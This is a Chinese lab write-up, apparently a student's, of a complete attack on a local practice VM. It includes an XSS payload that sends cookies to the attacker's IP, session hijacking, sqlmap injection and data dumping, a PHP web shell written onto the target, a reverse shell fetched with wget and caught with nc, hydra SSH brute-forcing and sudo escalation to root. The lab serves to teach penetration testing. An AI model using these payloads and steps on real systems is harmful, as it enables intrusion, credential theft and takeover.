目录
一、环境搭建
1. 靶机(虚拟机)
在VMware中新建虚拟机,选择“典型”,载入靶机的iso镜像
2. 攻击机(Kali虚拟机)
在Kali官网下载VMware专供的虚拟机,解压后,在VMware里通过“文件—打开”直接打开(不需要创建虚拟机)。启动后,默认用户名:kali,默认密码:kali
二、利用XSS漏洞偷取Cookie
1. 获取靶机IP
可以在靶机终端输入ifconfig命令,得到IP地址
也可以在kali终端输入 netdiscover -r 192.168.0.0/16 指令扫描开放的IP,从而找到靶机IP
2. 扫描靶机的端口
在kali终端输入命令扫描靶机的端口(IP地址改为靶机的IP)
nmap -sC -sV -p- 192.168.18.133 -n -vv --min-rate=2000
得到下图的结果,可以看到靶机开放了22和80端口
3. xss漏洞发现
在kali中打开浏览器,输入靶机IP地址,可以访问到如下网页
点击Test,出现输入框,在其中输入如下js代码,并提交
<script>alert('1+1')</script>
可以看到刚才输入的 js 代码得到了执行,因此弹出了窗口。所以这里存在XSS漏洞
4. 重启靶机,清空刚才的测试数据
在靶机输入命令关闭靶机
sudo shutdown -h now
在VMware中重新启动靶机,然后在kali中浏览器重新访问靶机,可以发现刚才输入的数据没了
5. 监听80端口
在kali终端输入如下命令,开始监听80端口
python3 -m http.server 80
6. 盗取cookie
在网页中输入如下js代码并提交,用来盗取cookie(注意此处的IP是kali的)
<script>new Image().src="http://192.168.18.134/test.php?output="+document.cookie;</script>
查看监听窗口,得到cookie
7. 修改cookie直接登录
在kali的浏览器中输入http://192.168.18.133/admin/login.php访问登录页,此时是未登录状态。
F12进入开发者模式,切换到console控制台,输入如下函数
function setCookie(cookieName,value,expiresTime,path){
expiresTime = expiresTime || "Thu, 01-Jan-2030 00:00:01 GMT";
path = path || "/";
document.cookie=cookieName+ "=" +encodeURIComponent(value)+ "; expires="+ expiresTime+ "; path="+path;
}
然后运行如下代码,调用上面定义的函数来设置Cookie(参数1为'PHPSESSID',参数2为刚才偷取的cookie)
setCookie('PHPSESSID', 'nrjvum2t3edcd2ep2iqfaiddi5');
修改Cookie后,在浏览器地址栏输入 http://192.168.18.133/admin/ (换成靶机IP),发现直接就登录成功了
点击Welcome后面的edit按钮,进入编辑页,此时修改地址栏中的id参数,可以查看不同用户的页面
三、利用SQL注入获取admin密码
1. 发现SQL注入漏洞
在上面实验的基础上,在id参数后面加单引号,页面有报错信息,说明可以SQL注入
参数填写 1 and 1=1# ,页面能够正常显示用户1的内容,注入成功
参数改为1 and 1=2# ,发现页面没有显示用户1的内容,这是正常的,因为在数据库中对用户进行检索时,id=1 and 1=2 这个判断的bool值永远为假,没有用户符合要求
把id参数改回1
2. 获取Request Headers
F12进入开发者模式,切换到Network页,访问 http://192.168.18.133/admin/edit.php?id=1,得到请求文件,单击查看请求Headers,把Request Headers中的内容粘贴到一个空的txt文件中
注意在id参数后面加一个*号
3. 用sqlmap扫描漏洞
在终端中进入1.txt所在的目录,运行如下命令,扫描漏洞
sqlmap -r 1.txt
4. 用sqlmap扫描数据库
在终端中运行如下命令,扫描数据库
sqlmap -r 1.txt --dbs
5. 用sqlmap扫描blog数据库,得到表信息
在终端中运行如下命令
sqlmap -r 1.txt -D blog --tables
6. 查看用户密码
在终端中运行如下命令
sqlmap -r 1.txt -D blog --dump
四、 获取Web Shell
1. 把木马文件上传到靶机
使用vim新建一个2.txt文件,在文件写入如下代码
<?php system($_GET['cmd']) ?>
(用DirBuster读取靶机的文件目录,从而找到css目录。这一步我没有实现,这里直接假设知道css目录)
在终端运行入下命令,将2.txt文件转换成shell.php然后上传到目标主机的/var/www/css/中
sqlmap -r 1.txt --file-write="./2.txt" --file-dest="/var/www/css/shell.php"
在浏览器中输入 http://192.168.18.133/css/ 进入CSS目录,可以看到刚才上传的shell.php文件
2. 运行Web Shell
点击shell.php,提示不能执行空命令。因为我们需要给cmd传入参数,也就是我们想要执行的命令,才能成功运行这个php文件
在浏览器地址后面补全参数(注意空格别漏了) http://192.168.18.133/css/shell.php?cmd=ls -al ,此时页面上成功显示了ls命令的执行结果
至此,WebShell完成
五、获取Shell
1. 下载ReverseShell并上传到靶机
在kali的火狐浏览器中,安装插件HackTools
填写IP和端口
切换左侧标签页,下载ReverseShell
将下载得到的文件重命名为reverse.txt,移动到/var/www/html目录(如果无权限,可以sudo cp命令来复制)
开启攻击机kali的http服务,在终端输入如下命令(关闭http就把start改为stop)
sudo /etc/init.d/apache2 start
然后在浏览器中输入下面的地址,用WebShell把kali中的reverse.txt转换成s.php并上传到靶机中(注意修改IP)
http://192.168.18.133/css/shell.php?cmd=wget http://192.168.18.134/reverse.txt -O s.php
执行后,再用WebShell查看是否上传成功:在地址栏输入http://192.168.18.133/css/shell.php?cmd=ls
可以看到s.php已经成功上传,它就是我们刚才用HackTool下载的ReverseShell
2. 获取shell
在kali终端中输入如下命令,监听8080端口
nc -lvvp 8080
在浏览器地址中输入http://192.168.18.133/css/s.php运行s.php,查看监听的结果,发现已经进入了靶机的shell,可以在kali中对靶机执行shell命令
至此,实验要求2完成,拿到了靶机的shell
六、获取root Shell
1. 破解靶机用户的密码
进入/home目录,发现有个user用户
查看/etc/passwd
进入user目录,有个.su-to-rootrc文件夹,尝试进入,失败
新建一个密码字典文件passwd.txt,向其中填入枚举的密码
新建一个用户字典文件user.txt,向其中填入想要破解的用户名
在kali终端中运行如下命令,用密码字典对user.txt中的用户进行破解
hydra -l /home/kali/Desktop/user.txt -P /home/kali/Desktop/passwd.txt 192.168.18.133 ssh
执行上面的命令报错,跟hds同学讨论,可能是kali中的hydra软件有什么问题,于是改用windows下的hydra来实现破解
下载thc-hydra-windows,解压。同样创建user.txt和passwd.txt,然后在hydra.exe所在目录中运行如下终端代码:(路径和IP自己修改)
hydra.exe -L d:\user.txt -P d:\passwd.txt 192.168.18.133 ssh
可以看到成功破解,得到了user用户的密码为live
2. 远程登录靶机的user用户
在windows中使用Xshell连接到靶机,使用用户名:user和密码:live进行登录(Xshell教程)
3. 获取rootShell
在Xshell中查看.su-to-rootrc文件
cd /home/user
cat .su-to-rootrc
查看user用户能执行哪些高权限命令
sudo -l
可以看到root是不需要密码的,那么我们切换到root权限,并查看当前用户
sudo -i
whoami
至此,拿到了root shell